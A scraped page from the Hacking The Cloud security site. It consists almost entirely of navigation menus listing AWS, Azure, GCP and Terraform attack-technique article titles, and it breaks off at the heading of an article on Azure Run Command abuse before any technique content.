113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3 checked> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=true> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Run Command Abuse </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Run Command Abuse </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#technique class=md-nav__link> <span class=md-ellipsis> Technique </span> </a> </li> <li class=md-nav__item> <a href=#detection class=md-nav__link> <span class=md-ellipsis> Detection </span> </a> </li> <li class=md-nav__item> <a href=#further-reading class=md-nav__link> <span class=md-ellipsis> Further reading </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#technique class=md-nav__link> <span class=md-ellipsis> Technique </span> </a> </li> <li class=md-nav__item> <a href=#detection class=md-nav__link> <span class=md-ellipsis> Detection </span> </a> </li> <li class=md-nav__item> <a href=#further-reading class=md-nav__link> <span class=md-ellipsis> Further reading </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by lsass-exe</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/azure/run-command-abuse.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Run Command Abuse</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg 